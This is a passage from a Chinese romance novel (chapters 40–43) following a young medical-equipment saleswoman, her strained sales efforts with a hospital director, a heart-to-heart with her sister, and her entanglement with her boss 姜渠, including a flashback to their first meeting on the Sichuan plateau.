他拒绝人的话一向言简意赅,“不约、不谈、不喜欢”。
当然,也有越挫越勇,就喜欢他这股劲儿的,坐到他身边,坚持不懈地攻掠,酒陪了一杯又一杯。
“工作不顺心?”
他不回答。
“感情问题?”
他沉默。
“嗨,不管什么事儿,来酒吧,不就是为了寻开心。今日酒今日醉,哪管明日愁滋味。”
姜渠终于掀眼看她,眼神变得玩味儿,这让女人心生窃喜,却见他神色一转,浑里浑气地答:“健康问题”。
暗示到位,甚至不用说清楚是哪方面的问题,女人就已经变了脸,低声骂了一句,“有病还出门”。
徐进刚到的时候,正好碰见姜渠挨了这句骂,他走过去,要了杯酒,轻笑,“你信不信,那姑娘看我俩在一起,更确定你的健康问题了。”
姜渠不置
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可否。
“你妈真回来了?”徐进的难以置信中带着好奇,自打认识姜渠,这么多年,他都对这位传说中“唯爱自由”的女性充满了好奇。
姜渠不想再赘述,“叫你出来是喝酒,不是让你来八卦的。”
徐进知道他不想提,只能按下心思,“哥儿们今儿陪你喝到地老天荒。”
辛熙就没那么自在了,元如苏显然没有要走的迹象,只能硬着头皮问她,“那您今晚要不要留宿?我去帮您把房间收拾一下吧。”
元如苏却是笑了,“你和老太婆倒不像一般的租客和房东”。
“英姨待我很好”,辛熙下意识地回答,复又觉得不妥,改口解释,“英姨人好”。
元如苏倒不在意,“太晚了,你先去休息吧,我在这儿等会儿我儿子。我儿子,你认识吗?”
“听英姨提起过,也......见过几面”,辛熙莫名地没敢提起他俩在职场的上下级关系。
“我儿子很帅,是不是?”
“是......吧。”
“他很像他父亲,长得一副招人的模样。”
辛熙脑海中的第一反应是在京医医院见过的姜怀正,明明是端正敦厚的正派模样,和元如苏描述的完全不一致。又想,或许情人眼里出西施,各花入各眼吧,于是应付着点点头,问:“姜......姜姜今天会过来吗?这么晚了。”
元如苏望向窗外,今晚的月亮特别明亮,悬挂在天际,照得院子里明晃晃地,她却有些落寞,“应该会吧,不然我也不知道该去哪里等他。”
辛熙退到自己的卧室,她原本想,或许应该给姜渠发个信息,告诉他,他的母亲在家里等他。可又觉得自己这样有些多管闲事,哪有租客管房东家的家长里短的。
这么犹豫着,才刚没一会儿,客厅里就响起了元如苏的声音,她在给姜渠打电话,言辞恳切,却占据下风,姜渠并不愿意见她。
她说:“我们太久没见面了,我只是想见见你。”
“我生了你养了你,怎么就不是你妈了?”
“你不来,我就一直在姥姥家等你,反正我有的是时间。”
姜渠无奈,挂了电话。
元如苏一向固执,这种固执带来的强势,和黎英一脉相承。这是她俩唯一相似的地方。但或许是受时代背景的影响,元如苏追求的绝对自由,和黎英的古板保守,是背道而驰的。
徐进见他挂断电话,忍不住提醒,“你那小姑娘,不是就在姥姥家住着么?”
靠~忘了这茬,姜渠拿起手机,一边往外走,一边拨了个电话出去。
辛熙在自己的房间里收拾明天出差要用的行李,她觉得有必要跟黎英汇报当下的情况,但看看时间,这个点,黎英应该早睡了,还是等到明儿一早再说。
不多时,门铃又响了,辛熙觉得奇怪,这个夜晚突然造访的人未免太多了些。
辛熙主动去开门,元如苏只从沙发上起身,满心满眼地望着院门,待看到来人时,那份期待如小火苗一般地灭了,又不可控地生出些别的。
姜怀正看到开门的辛熙时,眼底闪过惊诧,但并不持久,他早有察觉,所以很快就能将眼前的场景合情合理化。
姜怀正走进门,对辛熙说了句,“辛苦你了”。
辛熙不解,自己什么也没干啊,哪里辛苦了,又想,或许就是为了元如苏深夜到访说的词,便坦坦然然地接受,“没事儿,元阿姨在客厅呢”。
辛熙将他领进门,倒了杯水,懂事地回了房。
40. 第 40 章
时至凌晨,眼皮子开始打架,辛熙躺在床上,昏昏欲睡。
她不知道姜怀正和元如苏在聊什么,虽然他们并没有刻意避着她,但她戴上了耳机。
这个的夜晚,剧情朝着奇怪的方向发展,辛熙在不知不觉中睡着了,姜怀正和元如苏什么时候离开的,她都不知道。
早晨,她被一阵手机铃音吵醒,迷迷糊糊地接起来,是江准,他说已经到了吉兆胡同,问她具体的门牌号。
“门牌号?”
“对啊,说好了早上我来接你,我们一起去津南。”
辛熙起身,睡眼惺忪地打开微信聊天,才想起江准昨晚发来信息关心她脖子的伤情,顺便说了第二天也要去津南出差,两个人正好一道。
“抱歉,抱歉,我睡过头了,马上,你就在胡同口等我就行。”
辛熙快速地起床,洗脸换衣服,托起行李箱往外跑,生怕对方等太久,毕竟已经因为忘了这个约定而愧疚不已了。
风风火火地跑出门,却先看到路边停靠的一辆黑色保时捷,心脏猛地一跳,犹豫着,还是走过去,敲了敲车窗。
姜渠按下窗户,强光耀眼,他抬起手臂遮挡,适应了一会儿。
辛熙问他,“姜总,您怎么在这儿?”看上去,像是在车里待了一个晚上,衣服也还是昨天那一身,染着些烟尘味儿。
哦,他昨晚就在这儿。
想到这儿,辛熙的心底闪过一丝心酸。
昨晚,姜渠将姜怀正送到了吉兆胡同,但他并没有现身。
元如苏突发母爱,想要见他,这反而让他很抵触。
成长环境里,母爱的常年缺失,他习以为常,尤其是成年后,那一块情感需求早已经变得麻木。姜渠躲在车里,他看着姜怀正将元如苏接走,那个女人与自己有相似的眉眼,他却觉得陌生。
巷子里灯光昏昧,悠长又寂寥,他想敲门进去,又恐深夜打扰,最后只在车里半梦半醒地将就了一夜。
迷蒙之际,他感觉身体在往下沉。水面渐渐没过他的四肢、肩膀、下颚,溢到唇边,他尝到了咸湿的味道,又再被往下拽了一把,呼吸被彻底吞没,他并没有挣扎,只是越来越沉。然后,他听到有人叫他,他不想理,对方却不肯罢休。他仰起脖子,想让她安静,却莫名其妙地挣扎出了水面。
他看到了七彩斑斓的世界。
姜渠看到放大在窗前的笑脸,早晨的阳光是清透的橙色,照得人暖烘烘的。他推门下车,并没有解释自己为什么出现在这里,而是去接她手里的行李,准备放到后备箱去。
他记得她今天要出差。
辛熙没有松手,连说了几个“不用,不用”,她看到他眼下明显的青黑色,关切地问:“姜总,您是不是没睡好?要不,我把钥匙给您,您进屋里再睡会儿?”
姜渠掀眸看她,倦意加深,这让他有了点可怜样,辛熙赶紧往外掏钥匙。
“要不明儿再去吧?”
这句话,说的人和听的人,同样觉得意外。
辛熙心头一软,犹豫着,可想着好不容易争取来的巡检,还是拒绝了,“不行哦,已经都约好了。”
巡检的事情,虽然是工程师全程自主操作,但她觉得自己有必要到场跟踪,这样也能依据实际状况调整方案。
江准在这时候看到了她,惊喜地跑过来,“我想着你应该带行李了,就想着来帮你拿一下。这位是?”
“房东”,辛熙嘴快地回答,“我房东”。
江准大大方方,姜渠却阴阳怪气起来,重复了一句,“房东?”
辛熙原本坦坦荡荡,被他这一个反问,倒别扭起来,是房东没错啊,不然咋说,公司领导,睡过几次但又被甩了的不明关系人?
“房东的外孙”,辛熙又多余解释了一句。
江准朝他礼貌地打了个招呼,又去接行李箱,“那我们走吧?”
“好”,辛熙点点头,想着也别耽误了姜渠休息。
手中的行李箱以一个极不自然的调转,落入江准的手里。
辛熙说不清自己当时的感受,她没敢去看姜渠,只匆匆将钥匙塞给了他。
江准的眼神变得有些复杂,他并不迟钝,适龄的俊男靓女之间有些火花,在这个浮躁的都市太过寻常了。他将带来的早餐递给辛熙,“专门帮你买的,之前看你朋友圈,说很喜欢大望路这家的早点”。
“太客气了,谢谢”,辛熙接过来。
两个人在前面走着,身后一阵汽车的轰鸣声,黑色的车身以一个极流畅的变速,从他们身边飞驰而过。
江准将辛熙往身边拉了拉,评价了句:“这车不错”
辛熙一到津南,先完成了圣南的巡检,又紧锣密鼓地将先前有意向的客户重新拜访了一遍,三家里只有一家给了准话,他们愿意达成这次的合作,但碍于医院目前的运营状况,服务合同需要降级,总价格直接腰斩。辛熙又按照客户要求,重新拟定了合同,提交过去。
第五天,辛熙终于通过庄来联系上了圣南的程院长。
程院长惧内,领导风格却很强势,这也是他的小舅子能够把持着全院的设备新购、售后维保的重要因素。
辛熙第一次见面,就碰了壁,程院长对她的方案表现得毫无兴趣,“你知道我每天要收到多少份这种资料吗?一个个毫无新意,都只想赚我们钱。如果你们麦高也只能拿出这样的东西,那我只能说,别浪费大家的时间。”
辛熙试图张嘴解释,“麦高是国际一流的器械商,我们拥有上百项技术专利,我们的售后服务也......”
“这年头,挂羊头卖狗肉的也不少”,显然,程院长听多了各大小厂商的自吹自擂,辛熙从培训课程上学到的那些属于麦高的优势,只是让她在忽悠客户时坚定了自己的信心罢了。
她又去了第二次,程院长终于打开了她的方案扉页,但似乎只是为了给这句嫌弃的话做铺垫,“呵,还是这个,连个日期都没改。”
“程院,请您给我五分钟好吗?”辛熙言辞恳切,“就五分钟,我的这份方案是为贵院量身定制的。”
程院长并没有立刻赶她走,五分钟而已,他给了,辛熙也按照自己的设想,从经济效益的角度分析了麦高能为圣南带去的利益。
可程院长依然没有松动,他甚至多给了她几分钟,并没急于叫停,但最后,他却说:“你的假定是在圣南能够维持现有的病人量,甚至只增不减的情况下。可我问你,我的病人量,你能给我保证吗?”
“我虽然不能保证,但麦高有软文、图册,也有核心媒体资源,可以给贵院做推广。”
程院长轻笑,看着辛熙像在看一个傻瓜表演,他将方案扔到桌面,“回去吧,我待会儿还有会。”
第三次,辛熙连面都没有见上,虽然她准备了很多数据资料支持自己之前的话术。
到这里,辛熙已经有些泄气。圣南的体量不大,却是块难啃的骨头。
庄来好心
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给她提醒,“你说了那么多,却没有解决程院长最头疼的问题。”
“什么问题?”话刚一说出口,自己就有了答案,“他的小舅子。”
辛熙一拍脑袋,一下子就悟了,但也陷入困局。说服庄来这样的专技人员,解决实际的应用问题就行,但她不知道,要说服一院之长,单靠经济效益这块饼为什么还不够?
或许,人家就愿意舍了这部分利润给自家小舅子赚钱?
就像当初,赵志远宁愿舍了这个业务机会,也不想得罪自己手底下的销冠一样。
姜渠说,要找准对方的痛点,一击即中。
赵志远得靠张鑫出单,但又心眼小,防着张鑫功高盖主。她只需要稍一挑拨,再借机表忠心,赵志远自然愿意成全她。反正,张鑫做不成的单,她做成了,这对销冠来说,就是啪啪打脸。她若做不成,于赵志远也没损失,他大可以得一个给年轻人机会的好形象,左右赵志远是没有风险的。
赵志远大概没想到,平时看着单单纯纯的小姑娘,居然会这些招数,当下就劈头盖脸地一顿批。但他们都知道,他发火,不过是因为那点小心思居然被这么个小丫头看破又戳破了。
当辛熙开始借着人性上的瑕疵获取利于自己的局面时,她有些痛快,过往那些敏感的受挫的情绪,有了发泄的出口。
晚上,姐姐辛雅约了她。
前段时间,辛雅因为项目上的事情一直待在广州,姐妹俩已经有很长时间没有见面了。在京北的聚会,总有点像例行公事,因为她们爸妈总是会催着她俩见面,姐姐要多照顾妹妹,妹妹要多关心姐姐啊。但在津南,倒添了种漂泊异乡互相帮扶的怜惜感。
不过相处方式还是根深蒂固了。
辛熙分享在工作中遇到的挫折,辛雅会说:“觉得累就不要做啊,家里又不需要你赚钱,干嘛自找苦吃。”
辛熙撇撇嘴,好吧,一家六口,她最穷,“没觉得苦,只是有点难。姐,我是不是真的不适合做业务啊?”
虽然辛雅不止一次地说过这话,但当辛熙带着那么点受挫的委屈问她的时候,她还是忍住了,说了点自己也不相信的话,“没有人天生下来就应该做或者不做什么,人生是拿来体验的,最重要的是过程。你首先要考虑的不是自己适不适合,而是想不想做。如果想做,那就尽全力去做,至于结果,交给老天吧,没什么大不了的。最差不过是提前回家帮爸妈看园子。”
辛熙察觉到了辛雅的异样,问她,“姐,你最近工作还顺利吗?恋爱谈得还顺心吗?里里外外,从上到下,你都还好吗?”
辛雅被她逗笑,“我能有什么不好。”
“可你看着不太好。”
“还记得沈深吗?”
辛熙点点头,沈深是辛雅的初恋,从中学到大学,开始于校园也终止于校园。
“他死了。”
辛熙跟着伤心起来。她对沈深的印象很好,白白净净,爱看书,一身的正气。他追求辛雅的时候,并没有多少花招,但满心满眼都是她。有时候辛熙去找辛雅,只要顺着沈深的目光就一定可以找到。
那是辛熙对爱情的初印象。那时她想,以后也要找一个像沈深这样的男朋友。
但没过多久,他俩就分手了。辛雅要留在京北,而他去了广州。
“他妈地说话不算话,说好了去广州请我吃饭的!一顿饭而已,老娘才不稀罕。”
“姐姐”,辛熙叫了一声,终是比她先流下眼泪。
41. 第 41 章
这个夜晚,姐妹俩第一次谈到了爱情。
辛熙总以为辛雅是不需要爱情的,虽然她的男朋友换了又换。但每一任,是的,每一任,没有任何例外地每一任,都是她主动放弃的。
不接受异地,因为消耗的时间成本会增加。不能找不见人,暂时无法接通的男朋友还不如查无此人。当然,更不能过分黏人,尤其是在她工作的时候,男朋友的存在是调节生活,而不是打乱节奏。
辛雅在这上面,多少显得有些没有心。
辛熙去便利店买了很多的酒。那些酒,无一例外有很好看的包装。缤纷的色调,会让人忽略掉它们的酒精度数。
两个人盘腿坐在辛熙那间出租屋里,这次过来,她新添了手工编织的水草地毯、藤编茶几、蒲团,放在沙发前的地上,和中式风格的布景很相称,也很夏天。
虽然辛雅刚走到楼下时,就已经对这里的环境表现出了十万分的嫌弃,可等她踏进了这方小空间,看到出乎意料的温馨讲究,脸色缓下来,勉强说了句,“就知道你到哪里也不会真委屈了自己。”
话题就从这里延展开来,辛雅提起大学时候追辛熙的那个学长,模样周正、学习成绩很好,也算在校内有点名声,自然地异性缘也不错。
当他开始追求辛熙的时候,辛熙却是学校里最后一个知道的。
“我到现在都记得那人,空手套白狼的家伙。叫什么,龚长安,对吧?我连我前任的名字都忘得差不多了,偏就还记得他的,也是神奇。”
辛雅之所以会这么说,倒不是因为这个龚长安对辛熙多么痴情,搞出了什么大动作,或者付出了多少,反倒是因为这个人什么实际行动都没有,却让辛熙在校内无论走到哪里,都有人跳出来,夸赞他的情深,羡慕她深得他的偏爱,并劝她珍惜、知足。
一开始,辛熙傻乎乎地,在室友的轮番鼓动和校园言情剧的熏陶下,认为这个龚长安值得一试,于是添加了好友,有来有往地聊了一段时间。
正值辛熙是那个月的生日,龚长安知道后,准时在零点祝她生日快乐,然后来了句“礼物我就不送了,不然等我生日你还得回礼,一来一回的麻烦”。
辛熙觉得他说得对,因为收了礼肯定是要回礼的,但辛熙并不开心。
第二天,辛熙背着辛雅送她的名牌包去上课,遇见了龚长安,有同学打趣说他追女孩真是舍得下血本,他只是笑笑没有否认,却在过后给辛熙发来消息,说:“我认为好女孩不应该过分追求物质,这样会助长虚荣心,等到出了社会,很容易误入歧途,你说我说得对吧?”
辛熙憋着口气,将手机丢到一边没搭理,过了一会儿龚长安又发来了一句,“当然,我相信你,你在我心中不是这样的人。”
辛熙回他,也学着阴阳怪气,“那谢谢学长的信任了。但有些人以为的虚荣,也许只是别人的日常呢。”
龚长安回得很快,“好吧,你开心就好。”
辛熙没有再回复,那点靠脑补才有的好感,荡然无存。
两个人彻底没了联系。
“姐,你说,我怎么就遇不到那个满心满眼都是我的人呢?”辛熙率先醉了,她的孤独无处可藏。
辛雅在职场磋磨多年,这点果酒于她,只当是饮料喝,她头脑清醒、表面冷静,但情绪不佳,“也许你遇到过,但你不知道。甚至可能要等你错过了,才后知后觉。”
“我没有”,辛熙很肯定。她觉得辛雅是在说自己,她问:“姐,你后悔么?”
“后悔什么?”
辛熙不愿再说出那个名字,觉得提起一句都是对已故之人的冒犯。久到一瓶酒下肚的时间,辛熙听到了辛雅的回答:“别允许自己后悔。做了选择就承担后果,别回头、别较劲儿,永远别帮着命运欺负自己。”
辛熙有一瞬间的顿悟,但醉意上头又将还没捋清楚的半点顿悟给冲到了不知何处。
“可还是会难过,是不是?”
“那又如何?烦恼会解决烦恼,不幸的事永远可以被更不幸的冲淡,我没有难过的时间”,辛雅的眼角泛红,但她并不想承认,站起身,去了卫生间。
辛雅的悲观让辛熙很难过。她觉得自己似乎并不了解辛雅。今天或许是个很好的时机,她可以和姐姐更亲近,了解她,宽解她,也回馈她。
辛熙跟着往卫生间去,她要在辛雅出来的时候,给她一个拥抱,虽然她肯定会嫌弃自己矫情,但那有什么关系呢,我亲爱的姐姐,我想抱就抱。
辛雅打开门的时候,就看到辛熙张开双臂,歪着脑袋,笑脸盈盈地凑上来,故作惊喜地萌态,“哇,漂亮的女士,可以给我一个大大大大的拥抱吗?”
“发什么癫?”辛雅食指点在她的额间,将她轻轻推开,随即,拿出一个方正的小盒子,问她,“这是什么?”
辛熙凑近去看,吓得脸一阵红一阵白,下意识地就要抢过来毁尸灭迹。
辛雅也不跟她争,任她拿走,语气很平静,辛熙却只觉得风声鹤唳,“我数过了,少了几只。”
脑子里在噼里啪啦地乱响,人呐,真没有什么秘密能藏得住。即便是她心细如尘,但也终有马失前蹄的一天。辛熙在心底骂了姜渠一句,要不是那天早上闹了不愉快,她能就这么大大咧咧地顺手扔到卫生间的收纳盒里吗?
辛熙只能老老实实交代了原委。姐妹俩从小就没有秘密,也不可能在对方面前藏得住秘密。
辛熙说完话,低下头,认罪伏法的模样,“好吧,你可以开始骂我了。”
“我是要骂你,从小到大,家里人都惯着你,一是因为你年纪小,二是因为你一直很乖巧听话,我们对你都很放心。结果呢,你居然学别人玩一夜情!你玩得起吗?”
“不是一夜......”辛熙在辛雅的逼视下,垮下肩,闭嘴挨批。
“那你们正经谈恋爱了吗?”
“没......也没。”
辛雅简直无语,“你知道现在有多少男的,仗着自己早入社会几年,装得一副成熟稳重有担当,专门骗你这种刚出社会什么都不懂的小姑娘吗?”
“我没什么好被骗的。”
辛雅的眼神落在她手里握着的粉紫色包装盒,辛熙顿时感觉烫手,急忙塞进了沙发上的中式抱枕底下。
男欢女爱的事情,辛雅并不想评价对错,但她从没想过这事会发生在辛熙的身上,毕竟,她一直以为按照辛熙的性格,她大概率会通过相亲,遇到个各方面都很匹配的男人,也许算不得多优质,毕竟优质的男人太稀缺,很少有人一下子就押中。但也不会太坏,他们都不会允许辛熙嫁给一个坏男人的。
她有她的能力,即便是平淡的细水长流般的生活,她也能从中最大限度地感知到幸福。
那样就也很好。
热烈的、冒险的爱情,
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对所有人来说都是危险品。她主观地认为辛熙不适合,也一直以为她并不喜欢。
“你是不是受那个人的影响?”
“谁?”
辛雅同样没有说出那个名字,但辛熙秒懂。虽然是本老黄历,但辛熙对那个人的记忆很深。并没有刻意忘记或避讳不谈,但说到底,也不过是年少时惊鸿一瞥的遇见,总还是抵不过岁月漫长的清洗。
留到现在,津津乐谈的点也只是在于,与自己完全不相交的圈子,那些人即便只是认识一下,指缝里漏出来的一点,都足以改变普通人的命运。
辛雅不就靠着那一点,拿下了集团的大项目,从此在业界站稳了位置。
“我想,我欠你一个正式的道歉”,辛雅很诚恳。她那时初入社会,落差很大。她习惯了拔尖,但她所在的公司汇集的是各大名牌高校里最掐尖儿的,多的是比她漂亮的、聪慧的、努力的、会来事儿的,她急于证明自己,“如果没有我,也许你们......”
辛熙却不这么认为,“我俩没到那个份儿上”。
那个人有他的故事。
虽然辛雅用她和他的相识换了一份利益,这一度让辛熙很受伤,但现在,她可以很肯定地说:“我当时确实生气,因为我觉得好没面子。你知道的,我总怕得罪人,总想要给人留下好印象。但现在,我在职场里摸爬滚打这一年,我知道没有资源、人脉的普通打工人会有多艰辛,所以我现在只觉得庆幸,因为和他那一点点的交情而帮助到了我的姐姐。”
辛雅知道她从不会说虚伪的话,心间久违地被熨热,“那你对他......”
“拜托”,辛熙简直不敢相信辛雅会揪着这个问题不放,“你可是辛雅啊,你怎么比我还纯情。我们从小到大喜欢过多少人啊,隔壁班的班草、篮球队的队长、校园广播里那个没见过面的播音员,还有......你刚说起的龚长安,对吧?”
“龚长安算了,你们那个篮球队的倒还不错,请我俩喝了一个学期的饮料。”
“是,结果人家是为了追你。”
辛雅话锋一转,“那你把人约出来,我需要见见他。”
“谁?篮球队的,我到哪里去联系人家。”
“别给我装傻,我说的是他”,辛雅的手指向那个写着“此地无银三百两”的中式抱枕。
“别啊,他是我公司领导,我还得在他手底下混呢”,辛熙试图靠撒娇卖萌,蒙混过关。
“那我就去你公司找他。我倒要看看,这人是怎么舔着一张老脸,勾引女下属的。”
辛熙赶紧捂住姐姐的嘴,像是那个人支了只耳朵在旁边窃听一样,“没有,没有的事,是我,是我主动的。”
辛雅从不信、到震惊、再到生疑,“那肯定也是他先勾引的。”
辛熙不得不将川西的遇见和盘托出。
为色而生情动,是很个人的事,没有道理在得逞后又怪对方招惹。
亚曲喀县是完全异族风情的小城,建在川藏要道的必经之路上,新城旧城隔江相望。说它是县级城市,但常住人口甚至比不上某些大镇。
她坐在姜渠的车子上,风刮到脸上的时候像被细针刺,他们在驶向对岸,而对岸就在山脚下。山是暗褐色的,山面上似撒了糖粉,有缥缈的白,他们从桥上经过,桥下的江水正在结冰,一半青绿一半白。
不像她见过的任何一个冬。
42. 第 42 章
高原上的阳光有增透的效果,身旁的男人戴上了墨镜,将那双凌锐的眸子藏住,辛熙终于敢正面看他。他有很好看的侧脸。比起言情小说里如刀锋雕刻的轮廓,他的侧脸更多一层迷蒙柔和,像他们正在驶向的褐色的山,苍劲、深邃,有力量。
抵达县医院,已经有穿着白大褂的医生等在门口,见他们车到,忙招呼保安升起道闸杆。姜渠停好车,一溜儿的白大褂已经走到了车旁边,模样恭敬,辛熙被这阵仗吓了一跳,心想这县医院的服务都这么好了么?
姜渠倒是一脸平静,他锁好车门下车,和为首的医生客套了几句后,说:“先给她看吧,她心脏不适,可能是高反。”
“好的,好的。”
自然是没分先后的。两个人都被领进了急诊室,有护士给姜渠敷药包扎,辛熙被安排躺在病床上吸氧,同时又做了心电图和抽血检查。
这家医院还没有完成信息化建设,护士拿着纸质的病例过来做登记,姜渠接过手,很自然地解释:“她的我一起填了吧,不过她的证件弄丢了,可以后面补吗?”
护士倒也没为难,这座小城建在此,更像是一座驿站,每天来来往往的人都不同,自然也不会要求太严格,只要把基本信息填完全就行。
辛熙正在纠结着,待会儿检查结果出来,该如何解释自己的正常,就听姜渠问她,“你叫什么名字?”
“啊?”相处半天,居然连名字都忘了问。
辛熙想要坐起来,却被他抬手制止,“你来说,我写就好。”
到底是石破天惊处鬼使神差的一激灵,还是暗藏的顽劣蓄谋已久,总之,她脱口而出两个字,“瑞拉。”
“哪两个字?”
“祥瑞的瑞......手拉手的拉。”
“百家姓还有这个?”
“有的”,辛熙将氧气管绕在指间揉搓,嗫喏一句,“不信的话,你可以去网上查。”
姜渠倒没想到她会有这种反应,笑着解释,“一个姓氏我有什么好不信的,只是没想到,你连姓都这么特别。”
都么?还有什么是特别的么?辛熙敏感地捕捉到这个字眼,但她只敢自己琢磨,手指不自觉地将氧气管缠得跟紧。
姜渠无奈,搁下笔,将氧气管从她指间扯出,“这个不能这样玩。”
“哦,抱歉哦。”
“你怎么这么爱道歉?”
“有吗?”
“刚才在山上,你给伤者包扎伤口,人叫一声疼,你就道一次歉。”
“是么?”
姜渠很肯定地点了下头。
“抱歉哦。”
......
姜渠又问了她的其他信息:出身年月、血型、药品过敏史、既往病史等等,在她给出回答后,一一填到病历单上,连护士都夸他专业。
他握着笔的手,微微泛白,偏干,但指节修长,落笔有力,辛熙莫名地觉得他的这双手一定很灵活,手掌宽而厚,也肯定能够握住很多想要的东西。
脑子里在胡思乱想,人却迷迷楞楞地犯困。或许是氧浓度慢慢升高,开始醉氧,不知不觉中,还真就睡了过去。
稍久之后,防御机制又猛地将人惊醒,为自己的大意懊悔。毕竟她在这里人生地不熟,没有手机,没有证件,没有钱,更没有熟知的亲友知道她在这里。若发生点社会新闻上的事故,后果将不堪设想。
眼见窗外天色昏暗,这个时间点,也该给家里报平安了。
她着急地要起身,被路过的护士按住,护士是土生土长的少数民族,汉话却说得不错,她让她躺好,高反不是小问题,不能情绪激动或剧烈活动。
于是乎又坐了回来。
看看四周,斑驳的墙皮、暗黄的灯,白色床单因为反复的搓洗已经抽丝,钢丝床生锈,稍一动,就吱嘎吱嘎地乱响。隔了老远的一张病床上,躺着一个藏族老大爷,一个同样衣着的妇人正在给他喂饭,见她醒来,关切地望了望。
辛熙回以笑意,妇人犹犹豫豫着,从竹篓子里拿出几个红枣,搓了搓表面的灰,递给她。
护士知道她听不懂当地话,便帮着翻译,“老阿妈家里带来的,说红枣可以补气血,给你吃的。”
辛熙忙推辞,别不是自己刚才打量老两口的样子,像在馋嘴。
“你就收下吧,老阿妈说见你白生生的,又这么瘦弱,她瞧着心疼。”
辛熙道了谢。
警惕起来的心,稍稍放了放。
可那个男人呢?已经走了么?
也对,萍水相逢,人家也没有义务在这儿陪你。
辛熙有些失落,像喜欢的电影演绎至尾声,只有自己意犹未尽,都还没来得及问他的名字呢。
“护士姐姐,我可以借用一下你的手机吗?我想给家里人报个平安。”
护士这才想起来,走到床头,柜子吱嘎一声被拉开,“看我这记性,忘了告诉你。你的东西,你朋友帮你放这儿了,让我等你醒来告诉你来着,给忙忘了,哦,还有你的行李箱,我放床下边了。”护士一边说一边弯腰,将她的行李箱拉了出来,“他还说,说啥来着......哎!”
护士拍着脑袋,脑电路断路,怎么也想不起来了。
“没关系”,至多就是一些叮嘱的话,她明白他的好意。
包上面还放着她的几张检验单,护士见她拿在手里看,告诉她,“你这高反不严重,只要记得在这边的时候,少运动,多休息。”
“嗯,谢谢护士姐姐。”她当然知道不严重。
“不客气。那你再休息会儿,要是没什么不舒服,就可以出院了。”
“好的,那我去哪里结算费用?”
“你朋友已经帮你交过了。”
朋友,哎!不知道名字的朋友,没有联系方式的朋友,只匆匆一面就消失于天涯的朋友。辛熙无比惋惜,刚怎么就睡着了呢。
辛熙等走出医院后才给爸妈视频,人生第一次独自远行,她只能分享美好,否则任何一点意外的小插曲都可能被要求提前结束旅程。
江边的小广场围着一群人在跳锅庄舞,她刻意地走过去,想给爸妈展示这边的热闹,热情的阿姨给她让开了个位置,她不好推却,一边随着他们跳转,一边继续和爸妈闲聊。
锅庄舞的音乐节奏明快,抑扬间已经揽尽了草原辽阔、山川秀丽,辛熙的心情也随之好转。
忽然,耳机里传来了辛雅的声音,她先是哟了一声,用她一贯的腔调说:“看样子,妹妹是要有艳遇咯~”
“什么?”辛熙没太听清。
辛爸辛妈忙说辛雅没个正形,还叮嘱了辛熙几句,在外面要多些戒备心。
辛雅直接截了张视频的图发在群里,图片上,一个身材修长的男人坐在她背后的长椅上,目光正饶有兴致地看向她这边,像是等待已久......
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辛熙匆忙挂了电话,怔怔地回头。
男人走过来,嘴角噙着几分笑意,顺手将她放在一旁的行李箱推着,低头问:“怎么没等我?”
音乐声的鼓点一下一下直击心脏,辛熙回他,“你不是走了么?”
“嗯,和人谈点事,谈完了。”
然后呢?辛熙在等他的下文,他却突然收了话,“走吧,带你去吃饭了,饿了。”
“不用了,今天已经很麻烦你了。”理智突然回归。毕竟是毫无关系的陌生人,及时止损才是明智之选。
姜渠似乎有些意外她的冷淡,凝眉直视着她,大概想要从她的脸上看出真假。辛熙被看得有些不自在,便又主动解释,“我的意思是,你今天帮我找回了行李,还帮我交了医药费,我已经很感激了,不能再给你添麻烦了。说到这个,医药费我还没转给你呢,你给我个账号吧。”
姜渠松了口气,道:“既然这样,那你带我去吃饭吧,真饿了。”
他拖着她的行李直接往前走,辛熙只得跟上。两个人拐了几道弯才找到一家营业的餐馆。
“今天太晚了,只能先对付着吃点了。”
“好,那我待会儿还是把医药费转账给你。”
姜渠没忍住笑,“你小小年纪,这一板一眼的都跟谁学的?”
“有什么不对吗?”
“没。我只是好奇,这么想还人情,怎么不在医院等我自己先走了?”
“嗯?我以为你先走了。”
姜渠这才了然,估计是护士忘了传话,让她等他了。害得他一通好找,可也不能这么解释吧,不然倒显得自己在追着讨债一样。
“我原本想着,如果还不了你这个人情,就只能在逢年过节烧香拜佛的时候,祝好人一生平安顺遂了。”
辛雅听到这里,已经打开手机翻出了当时的那张图片,放大到极限,仔仔细细检阅着这男人。即便当时的光线很暗,男人有三分之二的身子隐匿在路灯下的阴影里,但依然听得她赞了一句,“身高身材看起来都不错,年纪轻轻能在麦高这样的企业做GM,能力和手段自然不会差,这种男人......”辛雅的目光重新看向辛熙,纯净的脸上显现出一种稚拙的迷茫,却又似乎期待着被鼓励,辛雅于心不忍,却不得不说:“我想你自己也明白,这种男人和我们不是一个世界的。你要玩,却根本不是他的对手。你要认真,又无法拿捏他。他大概率不会和谁保持长久的稳定的恋爱关系,即便有一天要走入婚姻,他的选择也一定是那个可以让他们一加一大于二的人。你们的人生方向完全相悖。”
真话很残忍,即便自己早有预设,心底却还是忍不住一阵钝痛。辛熙勉强扯出一个苦笑,“嗯,我也没想要其他的”,只不过是恰巧见着了,起心动念间生了贪、嗔、痴。
“当然,也别太如临大敌,放轻松,享受过程。保护好自己,不管是身体还是这里”,辛雅指着她的心脏位置。
辛熙长吁一口气,故作轻松地解释:“我俩现在就是单纯的上下级。”
辛雅当然不信,没有人可以从一段感情里干净利落地抽身,更何况是辛熙这种初尝人事的小姑娘。但她没有拆穿,所谓的经验之谈,始终有一定的局限性,人不同,运不通,谁知道故事的发展会是怎样?
但有一点可以肯定,辛雅建议:“可以保持暧昧但别真谈感情,相信我,你的职场路会越走越顺的。”
43. 第 43 章
辛雅离开后,辛熙独自在阳台上坐了很久,月亮高悬,将四周的云层照得透亮,却和那时,他们在高原上见过的完全不同。
那天,他们在小餐馆吃饭吃到打烊了才走,姜渠把她送到宾馆楼下,又叮嘱了几句,“这边人员混杂,晚上一定要锁好房门。如果有人敲门,没有明确身份的一律不要理会。”
“好的。”
“如果你要继续进藏区,高反的药随时带着,每天吃。”
“知道的。”
絮絮叨叨地,好似他对她需要负极大的责任。
“还有,也是最重要的,不要轻易上陌生人的车。”
姜渠说这话的时候,眉目含笑的样子,让辛熙记了好久好久。
可那天,她其实听得心不在焉,内心的贪婪小鬼在拼命叫嚣,需要被安抚。乍闻此,她猛地抬头,两个人的目光在夜色下不期而遇。她捉摸不透,他眼神里藏着奇妙的宇宙,明明含笑,明明包容,令人心生觊觎,却又望而生畏,像抬头既视的月华,遥远又神秘。
